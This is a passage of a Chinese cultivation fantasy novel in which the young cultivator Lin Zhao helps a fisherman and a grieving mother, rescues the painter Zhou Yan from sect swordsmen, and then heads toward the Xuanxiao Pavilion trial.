林照站在庙门口,看着他的背影消失在晨雾中。她摸了摸怀里的画,又摸了摸那枚干枯的麦穗。
然后她回到庙里,收拾好自己的东西。包袱很轻,但心里很满。
走出破庙时,太阳刚好升起。
雨后初晴,天空洗过一样澄澈。远山如黛,近处草木青翠欲滴,叶尖上还挂着水珠,在阳光下闪闪发光。空气里有泥土的芬芳,有草木的清新,还有远处炊烟的味道——不知哪个村落已经开始做早饭了。
林照深深吸了口气。
她想起刚才“见云”时的感觉。那种万物相连的感知,那种看清脉络的清明。她现在知道,那不是幻觉,是真实的境界。
但她更记得男子的话:你看清的,只是你能理解的部分。
她低下头,看着脚下的路。雨水冲刷过的黄土路,泥泞但坚实。路面上有深深浅浅的脚印,有车辙的痕迹,有蚯蚓爬过的蜿蜒线条——这些都是“脉络”。
她忽然笑了。
玄霄阁的路是别人铺好的路,那又怎样?她可以走别人的路,但看自己的风景。就像这场雨,人人都看见下雨,但只有她看见了雨滴里的世界。
林照迈开脚步,继续向东。
每一步踏下,她都能“感觉”到——感觉到泥土的松软,感觉到草根的坚韧,感觉到大地深处温润的脉动。这种感觉很微妙,像回声,像涟漪,但真实存在。
这就是“见云”吗?
能看清,能感知,能与天地对话。
她不知道前面还有什么在等着她。不知道玄霄阁的试炼有多残酷,不知道那些高高在上的仙人会不会为一朵野花驻足。
但她知道,她要去看看。
看看云上有没有花,看看天外有没有人家,看看这条路,能把她带到什么地方。
晨风吹过,带来远山的松涛声。
林照抬起头,看见天边有一道彩虹,很淡,但完整。虹的一端落在山里,另一端隐入云中。
像一座桥。
她迈步向前,走向那座桥,走向云深处。
路还长。
但她已经看见了第一片云。
9. 市井悟道
清水河从北边的雪山发源,一路向南,流经三百里山峦谷地,到渔村这一段时,水势已经平缓。河面宽阔,水流清澈,能看见水底的卵石和游鱼。河两岸是层层叠叠的吊脚楼,竹木搭建,年头久了,木头发黑,但结实。
林照到达渔村时,已是午后。
日头偏西,河面上金光粼粼。渔舟三三两两泊在岸边,渔民们正在收网。网上挂满银亮的鱼,在夕阳下一跳一跳的,鳞片反射着碎光。空气里有鱼腥味、水汽味,还有柴火炊烟的味道。
她已经两天没正经吃饭了。
从破庙出来,一路向东,走得急,带的干粮前天就吃完了。昨天在一个小村落,帮人挑了半天水,换了两个红薯。今天走到现在,肚子里早就在唱空城计。
林照站在村口的石桥上,看着河边的景象。她得想办法弄点吃的,再找个地方过夜。
桥下有个老渔夫正在补网。老人头发花白,赤着脚,裤腿卷到膝盖,露出青筋虬结的小腿。他坐在小马扎上,手里拿着梭子,动作很慢,但很稳。破了的渔网在他手里像有了生命,经纬交织,破损的地方渐渐弥合。
林照看了一会儿,走下桥。
“老伯,”她轻声问,“您这儿……需要帮忙吗?”
老人抬起头,眯着眼打量她。林照风尘仆仆,衣裳洗得发白但干净,背上背着斗笠和包袱,手里握着把旧斧头——这一路上,斧头成了她的拐杖,也成了防身的家伙。
“会补网?”老人问,声音沙哑。
“不会。”林照老实说,“但我会学。”
老人笑了,露出缺了门牙的牙床:“学?这手艺,村里的娃子都要学三年才入门。”
“我手快。”林照说,“在山上种地,手指头灵活。”
老人想了想,挪了挪身子,让出半边马扎:“坐。”
林照放下包袱,在老人身边坐下。老人递给她一个梭子,又指了指旁边一堆麻线:“看着。”
他慢动作示范:左手捏住网眼,右手穿梭,拉线,打结。动作流畅,像呼吸一样自然。补好的网眼匀称紧密,几乎看不出修补的痕迹。
林照仔细看着。她没有急着动手,而是先“感受”——这是“见云”境带给她的新能力。她“看”到麻线的纹理,看到网眼的经纬结构,看到老人手指的力度和角度。就像劈柴时看木纹,就像下雨时看雨线,万物皆有脉络。
然后她拿起梭子,学着老人的样子,捏网,穿线,打结。
第一次,线打偏了,结松松垮垮。
第二次,力道没控制好,扯破了旁边的网眼。
第三次……
老人没说话,只是看着。他看着林照的手指从生涩到熟练,看着那些歪歪扭扭的网眼渐渐变得整齐。不到半个时辰,林照补网的速度已经能跟上老人。
“丫头,”老人忽然开口,“你以前真没补过?”
“真没。”
“那你怎么……”老人顿了顿,“怎么像是干了十几年的老手?”
林照想了想:“看清楚了,就会了。”
老人没再问,只是低头继续补网。但林照感觉到,老人的目光不时瞥向她,眼神里有探究,也有欣赏。
太阳渐渐西沉。
河面上的金光从碎金变成整片的橙红,又从橙红变成暗紫。晚归的渔船陆续靠岸,渔获倒在竹筐里,噼里啪啦地响。女人们提着篮子来买鱼,讨价还价的声音此起彼伏。孩子们在岸边追逐嬉闹,笑声清脆。
林照补好了最后一片网。她活动了下僵硬的手指,指尖被麻线磨得发红,但不疼,反而有种充实的满足感。
老人站起身,从竹筐里拎出两条肥美的鲈鱼:“丫头,拿去。”
林照连忙摆手:“老伯,我帮工换饭,一条就够了。”
“拿着。”老人硬塞给她,“你这半天干的活,顶我干一天。两条鱼,应该的。”
林照接过鱼,沉甸甸的,鱼鳞还湿着,在暮色里泛着微光。
“晚上住哪儿?”老人问。
“还没想好。”
“村东头有座龙王庙,虽然破,但能遮风挡雨。”老人说,“要是你不嫌弃,我那儿还有间空屋,是我儿子以前住的。他……出远门了。”
林照看着老人浑浊的眼睛,那里有深藏的思念。她点点头:“那就麻烦老伯了。”
老人的家就在河边,是座两进的吊脚楼。楼下堆着渔网、船桨、鱼篓,楼上住人。屋子不大,但收拾得干净。堂屋里供着河神的牌位,香炉里插着三炷香,青烟袅袅。
老人做了简单的晚饭:一锅鱼汤,一碟咸菜,几个粗面饼子。鱼汤熬得奶白,撒了点葱花,香气扑鼻。林照喝了一口,鲜得眉毛都要掉下来。
“好喝。”她真心实意地说。
老人笑了:“清水河的鲈鱼,是雪山水养出来的,肉嫩,没土腥味。”他咬了口饼子,慢慢嚼着,“我儿子最爱喝这个汤。每次出海回来,能喝三大碗。”
“您儿子……出海了?”
“嗯,五年前走的。”老人望着窗外暗沉的河面,“说是要去东海那边,找个什么仙岛。村里人都笑他傻,说仙岛是传说里的东西,哪能真找着。可他铁了心要去。”
林照安静地听着。
“走的那天,也是这样的傍晚。”老人声音很轻,“他站在河边,回头跟我说:‘爹,等我找到仙岛,就回来接您。’”他顿了顿,“五年了,音信全无。”
屋里沉默下来。只有鱼汤在锅里咕嘟咕嘟地响。
“您怨他吗?”林照问。
“怨?”老人摇头,“不怨。年轻人有年轻人的路,我这把老骨头,能守着这条河,就够了。”他喝了口汤,“就是有时候想,那仙岛上,有没有这么鲜的鱼汤?”
林照忽然想起老谷头。师父临终前说,那些飞升的同辈,他们还记得麦子抽穗的声音吗?
或许,仙岛上真的没有这么鲜的鱼汤。
饭后,林照主动收拾碗筷。老人也没拦着,只是坐在门槛上,抽起了旱烟。烟味很冲,混着河风的水汽,有种独特的沧桑感。
收拾完,林照走到老人身边坐下。
夜色已经完全笼罩了渔村。河对岸亮起点点灯火,倒映在水里,碎成一片摇晃的星光。远处有渔歌传来,苍凉悠远,唱的是离家的游子,守候的母亲。
“老伯,”林照忽然说,“我给您讲个故事吧。”
“哦?”
“我师父说,他年轻时也想过要飞升。”林照望着河面,“但后来他发现,飞升要斩断尘缘,要背弃师恩,要舍弃这片土地。他就不去了。”
老人抽着烟,没说话。
“他留在了晒谷观,种了一辈子麦子。”林照继续说,“临终前,他说:‘我这辈子最得意的事,不是修到了金丹,是种出了三季都能收的麦种。’”
烟锅里的火星明明灭灭。
良久,老人才说:“你师父是明白人。”
“那您觉得,”林照转过头,“仙岛上的人,会想喝鱼汤吗?”
老人笑了,笑声低沉:“想不想喝我不知道。但我猜,他们那儿,肯定没有我熬的这个味儿。”
夜里,林照睡在老人儿子的房间。
房间很简单,一张床,一张桌子,一个衣柜。桌子上摆着几本旧书,都是些志怪传奇,《山海经》《搜神记》之类的。衣柜里还挂着几件旧衣服,洗得发白,但叠得整整齐齐。
林照躺在床上,听着窗外的水声。河水轻轻拍打着吊脚楼的木桩,哗——哗——,像母亲的摇篮曲。
她忽然想起《晒谷心经》里的一句话:“水有潮汐,月有圆缺,天地自有呼吸。人能与之同息,便是修行。”
她闭上眼睛,试着与这水声同息。
呼吸渐渐放缓,心跳渐渐平缓。她“听”到的不再是单纯的水声,而是整条河的呼吸——上游的湍急,下游的平缓,河底的暗流,水面的波纹。这一切交织成一张巨大的网,而渔村,就是网中的一个结。
在这张网里,有老人的思念,有游子的远行,有渔获的丰收,有炊烟的温暖。
林照睡着了。
一夜无梦。
第二天清晨,林照是被潮声唤醒的。
不是河水声,是潮汐声——清水河虽在内陆,但下游连通大江,大江入海,海潮的脉动会逆流而上,传到渔村这一段时已经很微弱,但依然能感觉到。
她走到窗边,看见老人已经在河边了。
天还没大亮,东方天际泛着鱼肚白。老人赤脚站在浅水里,手里拿着根竹竿,一动不动,像尊雕塑。他在“听潮”——这是老渔民的绝活,听潮声辨鱼群,听水势知天气。
林照静静看着。
她“看”到潮水涌来时的力量,“看”到水流在河床上的轨迹,“看”到水底鱼群游动的方向。这一切在她的感知里清晰如画,比肉眼所见更细致,更深刻。
这就是“见云”吗?
不是飞得更高,而是看得更清。不是离开人间,而是更深入地活在人间。
早饭后,林照告别老人。
老人没多留,只是包了几个饼子给她:“路上吃。”又递给她一个小布包,“这是我儿子留下的,我用不着
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,你带着。”
林照打开布包,里面是几枚铜钱,还有一枚小小的贝壳,磨得光滑,打了孔,可以当挂饰。
“贝壳是他小时候在河边捡的。”老人说,“一直戴着。你带着,就当……替他看看外面的世界。”
林照郑重收下:“谢谢老伯。”
“该谢的是我。”老人拍拍她的肩,“五年了,你是第一个听我说完儿子故事的人。”
林照背上包袱,戴上斗笠,走上石桥。
走到桥中央时,她回头。老人还站在河边,朝她挥手。晨光里,老人的身影佝偻,但站得很稳,像河边那棵老柳树,根扎得深,风吹不倒。
林照也挥了挥手,然后转身,继续向东。
中午时分,她到达一个驿站。
驿站不大,但位置重要,是东西商道的交汇处。院子里停着几辆马车,马厩里拴着十来匹马。堂屋里坐满了人,有行商,有旅客,有信使,吵吵嚷嚷,热闹非凡。
林照在角落找了张空桌坐下,要了碗面。面很粗,汤很淡,但热乎乎的,下肚舒服。
正吃着,旁边桌传来抽泣声。
是个老妇人,头发花白,衣衫破旧,手里攥着一封信,泪眼婆娑。她对面的年轻人——看样子是驿站的文书——一脸为难。
“大娘,不是我不帮您,是您这信……”文书叹气,“您儿子在军中,这地址不清楚,信送不到的。”
“可我、我就想告诉他,我挺好的……”老妇人抹着眼泪,“他三年没回家了,我就想让他别惦记……”
文书摇头:“大娘,真送不到。”
林照放下筷子,走过去:“大娘,我帮您写吧。”
老妇人和文书都看向她。
“我识字不多,但写信够用。”林照说,“您说,我写。”
老妇人眼睛亮了,连连点头:“好,好,姑娘你真是好人……”
林照向文书借了纸笔,在桌边坐下。老妇人开始说,说得很慢,断断续续,有时说着说着就哭起来。
“儿啊,娘挺好的……家里那两亩地,去年收成不错……你爹的坟,我清明去扫了,添了新土……隔壁王婶家的狗生崽子了,给你留了一只,说等你回来养……”
林照一字一句地写。她的字不好看,歪歪扭扭,但写得认真。
写着写着,她忽然“看”到了——不是用眼睛,是那种奇妙的感知。
她“看”到老妇人话语里的思念,像一条细细的线,从这间嘈杂的驿站,穿过千山万水,飘向不知在何方的军营。她“看”到那些平凡的字句里,藏着母亲所有的牵挂:怕儿子饿着,怕儿子冷着,怕儿子受伤,又怕儿子担心家里。
这不是法术,不是神通。
这是人心。
写完信,林照念给老妇人听。老妇人听着听着,又哭了,但这次是笑着哭的:“对,对,就是这样……姑娘,你写到我心坎里去了。”
林照把信折好,递给文书:“地址不清楚,但军中的信,总有人能转交吧?”
文书看了看信,又看了看老妇人期盼的眼神,终于点头:“我试试。”
老妇人千恩万谢,从怀里摸出几个铜板要塞给林照。林照没收:“大娘,举手之劳。”
老妇人过意不去,硬塞给她两个煮鸡蛋:“姑娘,路上吃。”
林照收下了。
老妇人走后,文书凑过来:“姑娘,你刚才写那信……有点门道啊。”
“什么门道?”
“说不清。”文书挠头,“就是觉得,你写的不是字,是……是那个意思。我经手的信多了,从没见过这样的。”
林照愣了愣,忽然想起《晒谷心经》里的一句话:“言语即心念,笔墨即桥梁。”
她以前不懂,现在好像懂了一点。
下午,她继续上路。
走出驿站不远,她回头看了一眼。驿站门口,文书还在忙碌,老妇人已经不见了,大概是回家等儿子的回信了。
林照摸了摸怀里那两个还温热的鸡蛋。
她忽然明白了师父说的“人间即道场”。
道场不在深山,不在庙堂,就在这烟火人间。在渔村的鱼汤里,在驿站的眼泪里,在母亲写给儿子的信里,在两个陌生人互相给予的温暖里。
修行不是逃离这些,而是更深刻地走进这些。
走进每一滴汗,每一滴泪,每一个牵挂,每一次告别。
她抬起头,看向远方。
路还很长,但她已经不着急了。
因为她知道,这一路上,处处是道场,步步是修行。
10. 再遇周言
林照离开驿站的第三天,山路开始变得陡峭。
不再是平坦的黄土路,而是碎石嶙峋的山道。路两旁是茂密的松林,松涛阵阵,遮天蔽日。阳光从枝叶缝隙漏下来,在地上投出斑驳的光影。空气里有松脂的清香,还有苔藓的潮湿气息。
她走得很慢。
不是体力不支——在晒谷观长大的孩子,走山路是基本功。而是在“感受”。自从那场暴雨中悟出“见云”境,她对周遭万物的感知越来越敏锐。此刻走在山道上,她能“听”到松树根系在泥土里伸展的声音,能“看”到山风在林中穿行的轨迹,能“闻”到远处山泉的清冽。
这让她走得很慢,但每一步都踏实。
正午时分,她在一处溪流边歇脚。
溪水很清,从山涧里淌下来,撞在石头上溅起白色水花。林照放下包袱,蹲在水边掬水洗脸。水很凉,激得她一个激灵。她索性脱了鞋袜,把脚浸进水里。奔波三日的疲惫,随着溪水流走。
就在这时,她听见了声音。
不是山风声,不是流水声,是人的声音——慌乱的脚步声,急促的喘息声,还有叫骂声,从山道上方传来。
林照立刻起身,穿好鞋袜,抓起包袱和斧头,闪身躲到一块巨石后。
声音越来越近。
“站住!把画交出来!”
“疯子!看你往哪儿跑!”
林照从石缝往外看。只见山道上,一个中年男子正跌跌撞撞地往下跑。他衣衫褴褛,长发散乱,背上背着个巨大的竹篓——林照一眼就认出来,是破庙里那个画师!
画师身后,追着三个彪形大汉。都穿着统一的褐色劲装,腰佩长刀,面目凶悍。为首的是个刀疤脸,脸上从眉骨到嘴角斜着一道狰狞的疤痕,说话时疤痕跟着抽动:“周言!你跑不掉的!交出那幅画,饶你不死!”
原来他叫周言。
林照屏住呼吸,看着周言踉跄跑近。他显然已经力竭,脚步虚浮,好几次差点摔倒。背上的竹篓随着奔跑剧烈摇晃,里面的卷轴哗啦啦作响。
“我没有……我没有画不存在的东西……”周言边跑边喊,声音嘶哑,“那座山是真的!是真的!”
“真个屁!”刀疤脸啐了一口,“青云山脉七十二峰,哪一峰老子不认得?你画的那座,根本不存在!妖言惑众,该杀!”
说话间,三人已经追上。
刀疤脸伸手一抓,抓住了周言背上的竹篓。用力一扯,竹篓带子断裂,整个竹篓飞了出去,撞在路边的树上。卷轴散落一地,有些滚进草丛,有些掉进溪流。
周言惨叫一声,扑向那些卷轴:“我的画!我的画!”
刀疤脸一脚踹在他背上:“疯子!还不死心!”
周言摔倒在地,口吐鲜血,但还是挣扎着去够最近的一幅卷轴。另外两个大汉上前,一脚踩住他的手,另一人抬脚就要往他头上踩——
林照动了。
她没有多想,几乎是本能地冲出。手中斧头抡圆了劈向那个抬脚的大汉。不是劈人,是劈向那人脚下的地面——这是她从劈柴中学来的技巧:避开最硬的地方,从侧面破局。
斧刃砸在青石上,溅起火星。
大汉吓了一跳,下意识后退。林照趁机一把拉起周言,往溪流对岸拖。
“什么人?!”刀疤脸厉喝。
林照没回答,只是拖着周言拼命跑。溪水不深,只到小腿,但水流湍急。她深一脚浅一脚,好几次差点摔倒。周言半昏迷状态,全靠她拽着。
“找死!”刀疤脸拔刀追来。
另外两人也反应过来,三人淌水追击。
林照拖着周言上了对岸,钻进松林。林子很密,光线昏暗,地上铺着厚厚的松针,踩上去软绵绵的。她不敢停,一直往里钻。
身后传来刀劈树枝的声音,还有叫骂声。
“分开追!那丫头拖着个累赘,跑不远!”
林照的心跳得像擂鼓。她知道自己跑不过这三个练家子,拖着一个昏迷的人更跑不过。必须想办法。
她一边跑一边观察四周。松林深处,地势开始下降,前面似乎有个陡坡。她咬牙,拖着周言往陡坡方向跑。
跑到坡顶时,她回头看了一眼。刀疤脸已经追到二十丈外,另外两人从两侧包抄过来。
没时间了。
林照看了一眼昏迷的周言,又看了一眼陡坡下——坡很陡,但坡底是一片茂密的灌木丛,或许能藏身。
她深吸口气,抱住周言,纵身一跃!
两人顺着陡坡滚了下去。
天旋地转。松针、碎石、断枝,劈头盖脸地砸来。林照死死护住周言的头,自己的后背、手臂被刮得生疼。她咬紧牙关,尽量蜷缩身体,减少撞击。
不知滚了多久,“砰”的一声,两人摔进灌木丛。
林照眼前一黑,差点昏过去。她强忍着疼痛,爬起身,检查周言的状况。周言还在昏迷,但呼吸平稳,应该只是外伤。
她环顾四周。这是一片山坳,三面环山,一面是刚才滚下来的陡坡。灌木丛很密,从外面很难发现。坡顶传来刀疤脸的叫骂声,但声音渐渐远去——他们往另一个方向追去了。
林照松了口气,瘫坐在地。
她这才感觉到全身的疼痛:后背火辣辣的,手臂上好几道口子在流血,左脚脚踝扭了,一动就钻心地疼。
她撕下衣袖,简单包扎了手臂的伤口。又从包袱里摸出金疮药——是老谷头配的,晒谷观每个孩子都随身带着。药粉撒在伤口上,刺痛让她倒吸凉气。
处理完伤口,她看向周言。
画师还昏迷着,脸上有擦伤,嘴角有血渍,但胸口起伏平稳。林照检查了他的伤势:肋骨可能断了一两根,左臂脱臼,其他都是皮外伤。
她想了想,从溪边捧来清水,给周言擦脸。冷水一激,周言呻吟一声,缓缓睁开了眼。
“我……我的画……”他第一句话就问画。
“画丢了。”林照实话实说,“散了一地,有些可能掉溪里了。”
周言的眼睛瞬间黯淡下去。他挣扎着想坐起来,但牵动伤势,疼得龇牙咧嘴。
“别动。”林照按住他,“你肋骨可能断了。”
周言却像没听见,只是喃喃:“我的画……十年的心血……全没了……”他忽然抓住林照的手,“姑娘,你救了我,我欠你一条命。但我求你……帮我找回那些画,一幅就行,只要一幅……”
他的眼神近乎绝望,让林照想起晒谷观里那些被暴雨泡坏的当归——那是老谷头三年的心血。
她沉默了一会儿:“哪一幅最重要?”
“《云外之境》。”周言说,“是我画的最后一幅,也是第一幅。其他所有的画,都是为了这幅做准备。”
“画的是什么?”
“一座山。”周言望向天空,眼神渺远,“一座不存在的山。山在云海之上,山顶有座小屋。屋里……有人在等。”
林照心头一震。她想起破庙里那幅画,想起雨夜中那座小屋窗户里透出的光。
“那座山……真的存在吗?”她轻声问。
“存在。”周言说得很肯定,“只是他们看不见。因为他们只相信眼睛能看见的东西,只相信典籍里记载的东西。”他苦笑,“可这世上,有多少东西是眼睛看不见的?有多少风景是典籍没记载的?”
这话像锤子敲在林照心上。
她想起玄霄阁测灵根的那块玉盘,想起那些仙人只看灵根纯度,却看不见一个人心里的根有多深。
“你为什么要画不存在的山?”她问。
“因为有人见过。”周言说,“千年前,我的师祖,青山画派的开山祖师周云鹤,曾经误入一处秘境。他在那里看见了一座山,山在云上,屋在山顶。他画了下来,但画完的瞬间,那幅画自燃了——天火焚画,不留痕迹。”
“自燃?”
“师祖说,那座山不容于世。”周言的声音很轻,“它太真,太美,太完整。而这个世界,容不下这么完整的东西。所以天要焚它,地要掩它,人要忘它。”
林照听得入神。
“师祖临终前,把这件事告诉了师父的师父。而师父临终前又告诉了我。”周言说,“但他们都没见过那座山,只是听说。我不甘心。我想亲眼看看,想亲手画下来——哪怕画完的瞬间,画会自燃,我也要画。”
“所以你画了十年?”
“十年,三百六十五幅画。”周言说,“每一幅都是练习,都是尝试。我走遍青云山脉七十二峰,画出它们春夏秋冬、晨昏雨雪的样子。我想,只要我画得足够真,足够像,那座‘不存在’的山,就会在画里显现。”
他顿了顿:“昨天,我终于画出来了。在破庙里,那场暴雨中,我看见了——虽然只是一瞬,但我看见了。我画了下来。可刚画完,他们就来了。”
林照想起破庙里那幅云海翻涌的画。原来那不是普通的山水,是十年的执念,是千年的传承,是一群人用生命守护的“真实”。
“他们是谁?”她问。
“青云剑派的人。”周言说,“青云山脉七十二峰,有三十六峰归他们管。他们认为,我画‘不存在之山’是在挑衅——是在说,他们守了三百年的山,还不够,还有他们不知道的山。”
他咳嗽两声,嘴角又渗出血丝:“他们不懂。我不是在挑衅,是在……寻找。寻找一种可能——这世上,还有没有一片净土,一个地方,能容得下一座完整的山,一间安静的小屋,一个不用逃也不用追的梦。”
林照沉默了。
良久,她说:“你在这儿等着。我去找画。”
“姑娘,危险……”
“他们往东追去了,应该以为我们往那个方向跑了。”林照站起身,忍着脚踝的疼痛,“我往回找,说不定有些画还在。”
周言看着她,忽然笑了:“姑娘,你叫什么名字?”
“林照。”
“林照……”周言念了一遍,“光照大地的照?”
“嗯。”
“好名字。”周言说,“那你记住——真正的光,不是照亮别人,是找到自己心里的那盏灯。”
林照点点头,转身钻出灌木丛。
她沿着来路往回找。走得很小心,尽
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量不发出声音,同时调动“见云”境的感知,观察四周。山风、松涛、鸟鸣、虫叫,一切声音都在她的感知里清晰可辨。
回到溪流边时,她看见散落一地的卷轴。
有些已经被溪水浸湿,墨迹晕开,糊成一团。有些沾满泥污,辨不出画的是什么。林照一轴一轴地捡,一轴一轴地看。
大部分画的是青云山脉的各处山峰。有的险峻,有的秀美,有的云雾缭绕,有的晴空万里。画工精湛,神韵十足,显然是下了苦功的。
但没有那幅《云外之境》。
林照不死心,继续找。她沿着溪流往下游找,在石头缝里,在草丛深处,在水边的淤泥里。找到第十三幅时,她停住了。
这幅画用油布仔细包着,系着红丝带。虽然掉进过水里,但油布防水,里面应该没湿。
林照解开丝带,展开卷轴。
然后,她愣住了。
画上不是山,不是云,不是小屋。
是一片空白。
不,不是完全空白。在宣纸的正中央,有一个小小的墨点,只有米粒大小。墨点周围,是极淡极淡的墨晕,像水滴落在纸上,慢慢晕开。
整幅画,就只有这一个墨点。
林照看了很久。起初她以为画坏了,或者被水泡花了。但越看越觉得不对——那墨点的位置,那墨晕的深浅,那留白的比例,都恰到好处。多一分则浓,少一分则淡,整幅画有一种奇异的平衡感。
她忽然想起周言的话:“真正的光,不是照亮别人,是找到自己心里的那盏灯。”
这幅画……就是那盏灯吗?
一个墨点,一片空白,却仿佛包含了整座山,整片云,整间小屋,整段等待。
林照小心翼翼地把画重新卷好,系上红丝带,揣进怀里。
她又找了一圈,确定没有其他完好的画了,这才返回山坳。
周言还躺在灌木丛里,见她回来,眼睛亮了一下:“找到了吗?”
林照点头,从怀里取出那幅画。
周言接过,颤抖着手展开。看到那个墨点时,他愣住了。半晌,他忽然大笑起来,笑得眼泪都出来了:“好……好……画出来了……终于画出来了……”
“可是……”林照迟疑,“这只是一……”
“只是一个墨点?”周言打断她,眼神狂热,“姑娘,你看错了。这不是墨点,这是山。”
“山?”
“对,山。”周言指着墨点,“你看,山在这里。云在这里——”他指着周围的空白,“小屋在这里——”他指着墨点上方极淡的一笔,“等的人在这里——”他指着墨点中心那最浓的部分。
林照顺着他的指引看去。
忽然间,她“看”到了。
不是用眼睛,是用那种奇妙的感知。她“看”到墨点里确实有一座山,山确实在云上,山顶确实有间小屋,屋里确实有人在等——不是具体的形象,是一种“存在”的感觉,一种“真实”的质感。
就像在晒谷观,她能“看”到麦子拔节;在渔村,她能“听”到潮汐呼吸;在驿站,她能“感觉”到母亲思念的线。
这幅画,画的不是形,是神。不是景,是境。
“我懂了。”林照轻声说。
周言看着她,眼神欣慰:“你果然看得见。”他把画重新卷好,递给林照,“这幅画,送给你。”
林照一愣:“这太贵重了……”
“不贵重。”周言摇头,“画完了,它的使命就完成了。留在我这儿,只会招来灾祸。你带着它,去看看——看看这世上,有没有这样一个地方。”
林照接过画。卷轴很轻,但她觉得沉甸甸的。
“周先生,”她问,“您以后打算怎么办?”
“我?”周言笑了,“我该画的都画完了,该找的都找到了。接下来,找个安静的地方,等死。”他说得很坦然,“不过死之前,我得去一趟青云剑派——告诉他们,那座山是真的,只是他们看不见。”
“他们会杀了你。”
“那就杀吧。”周言说,“我活了四十七年,画了三十年的画。最后十年,都在找这座山。现在找到了,画出来了,死也值了。”
林照不知该说什么。
周言却摆摆手:“姑娘,你走吧。往东三十里,有个小镇,可以去那儿歇脚。我们……就此别过。”
林照看着他苍白的脸,看着他嘴角未干的血迹,看着他眼里那种了无牵挂的平静。她忽然深深鞠了一躬:“周先生,保重。”
周言笑了:“你也保重。记住——路是走出来的,山是看出来的。你心里的那座山,只有你自己能找到。”
林照转身离开。
走出灌木丛时,她回头看了一眼。周言还躺在那里,手里拿着一根树枝,在地上画着什么。阳光透过枝叶洒在他身上,斑斑驳驳,像一幅未完的画。
她继续向东。
怀里揣着那幅只有一个墨点的画。
路还很长,山还很多。
但她知道,她要找的,从来不是别人眼里的山。
而是自己心里的那座。
11. 前往玄霄阁
离开周言后的第五天,林照抵达了青阳镇。
镇子比青石镇大得多,四条主街呈井字形交叉,商铺林立,人声鼎沸。街上来往的行人衣着明显光鲜不少,还能看见不少佩刀带剑的江湖客,甚至偶有身着道袍的修士走过——虽然修为都不高,但架势摆得很足。
林照在镇口找了家最便宜的小客栈住下。一间房,一张床,一扇小窗,一天二十文钱。对她来说已经足够奢侈——至少不用露宿荒野,不用担心狼群。
安顿下来后,她做的第一件事是洗澡。
客栈后院有口井,老板娘好心借了她一个木桶。林照打了三桶水,在房间里擦洗。热水洗去一路风尘,也洗去身上的疲惫。她看着铜镜里的自己——脸晒黑了,下巴尖了,但眼睛很亮,像淬过火的铁。
换上一身干净衣裳,她出门打听消息。
客栈大堂里坐满了人,都在议论同一件事:玄霄阁的百派试炼。
“听说了吗?这次试炼的榜首,能得一枚‘筑基丹’!”
“何止!我表哥在玄霄阁外门当差,说前三名都有机会被金丹真人收为记名弟子!”
“记名弟子算什么?要是表现突出,直接入内门,那才是一步登天!”
林照找了个角落坐下,要了一壶最便宜的茶。耳朵竖着,听四周的议论。
一个山羊胡的老者捋着胡子,慢条斯理地说:“诸位莫要高兴太早。百派试炼,说是‘百派’,其实大小宗门、散修世家,怕是有上千人参加。玄霄阁每年只收三十个内门弟子,竞争之激烈,可想而知。”
“怕什么!”一个年轻汉子拍桌,“富贵险中求!我练了十年剑,就等这个机会!”
“十年剑?”邻桌一个锦衣公子嗤笑,“我五岁开始修行,如今炼气七层,都不敢说稳进内门。你一个野修,拿什么争?”
年轻汉子脸涨得通红,想反驳,但看了看锦衣公子腰间的玉佩和长剑,终究没敢发作。
林照默默喝茶。
炼气七层?她不太清楚修仙界的境界划分,但听起来很厉害的样子。而她呢?刚刚摸到“见云”境的门槛,连炼气一层都算不上。
可她想起老谷头的话:修仙不是逃命,是活得更认真。
也想起周言的话:你心里的那座山,只有你自己能找到。
她摸了摸怀里的那幅画。画卷贴着胸口,温温的,像有生命。
“姑娘也是来参加试炼的?”
一个温和的声音响起。林照抬头,看见一个书生打扮的年轻人坐在对面。约莫二十出头,面容清秀,眼神干净,手里拿着把折扇——扇面上画着山水,笔法拙劣,像是初学者画的。
“路过。”林照说。
书生笑了:“路过青阳镇,这个节骨眼上?”他摇摇扇子,“姑娘不必提防,我也是来碰运气的。在下陈砚,北封城人士,读过几年书,练过几天剑,样样稀松,样样想试试。”
林照看着他。这人说话坦率,眼神清澈,不像有恶意。
“林照。”她说。
“林姑娘。”陈砚拱手,“相逢即是有缘。不知姑娘对这次试炼了解多少?”
林照摇头:“刚听说。”
“那我给姑娘说说。”陈砚压低声音,“百派试炼分三关:第一关‘问心路’,考道心;第二关‘炼心台’,考毅力;第三关‘争锋擂’,考实力。往年淘汰率,九成以上。”
“这么难?”
“难,也不难。”陈砚说,“玄霄阁要的不是打手,是能走远路的苗子。所以前两关最重要——道心不稳,毅力不足,修为再高也是枉然。”
林照若有所思。这话和老谷头说的很像。
“陈公子很了解?”
“家父曾在玄霄阁外门待过三年。”陈砚坦然道,“后来资质不够,被劝退了。他老人家不甘心,把希望都寄托在我身上。”他苦笑,“可惜我也不是那块料。”
林照看着他:“那为什么还来?”
“因为不来,我会后悔一辈子。”陈砚收起折扇,眼神认真,“有些路,明知道走不通,也得走一走。不然老了躺在床上,会想:当年要是试了,会怎样?”
林照心头一动。
这话,她懂。
“林姑娘,”陈砚忽然问,“你为什么要修仙?”
林照愣住了。这个问题,她从来没认真想过。一开始是想看看云上有没有花,后来……后来是想走师父没走完的路,想看周言画里的山,想找到自己心里的那座。
“我想看看。”她最终说,“看看这天地有多大,看看自己能走多远。”
陈砚眼睛亮了:“好答案!”他拍手,“比那些说‘为长生’‘为力量’的强多了!”
邻桌有人投来不满的目光,陈砚缩缩脖子,压低声音:“不过这话可别在试炼时说。玄霄阁那些考官,喜欢听的是‘为苍生’‘证大道’之类的。”
林照点头:“谢谢提醒。”
“客气什么。”陈砚摆摆手,“对了,林姑娘住哪儿?若是没地方,我知道几家便宜的客栈……”
“已经住下了。”
“那就好。”陈砚站起身,“我明日一早出发去玄霄阁山脚,姑娘若是同行,可以结个伴。路上也好有个照应。”
林照想了想,点头:“好。”
陈砚笑了,露出一口白牙:“那就说定了。明早辰时,镇口槐树下见。”
他付了茶钱,挥挥手走了。
林照又坐了一会儿,把茶喝完,才起身回房。
夜里,她点起油灯,从怀里取出那幅画。
小心解开红丝带,展开卷轴。昏黄的灯光下,那个墨点依然只有米粒大小,周围的留白依然空旷。但不知是不是错觉,她总觉得墨点比前几天……深了一些。
不是颜色深,是质感深。像一口井,看着浅,实则深不见底。
她想起周言说的:这不是墨点,是山。
她闭上眼,调动“见云”境的感知,去“看”这幅画。
起初什么都没有。宣纸就是宣纸,墨点就是墨点。但当她静下心来,呼吸与灯光跳动的节奏同步时,她忽然“看”到了——
墨点里,确实有东西。
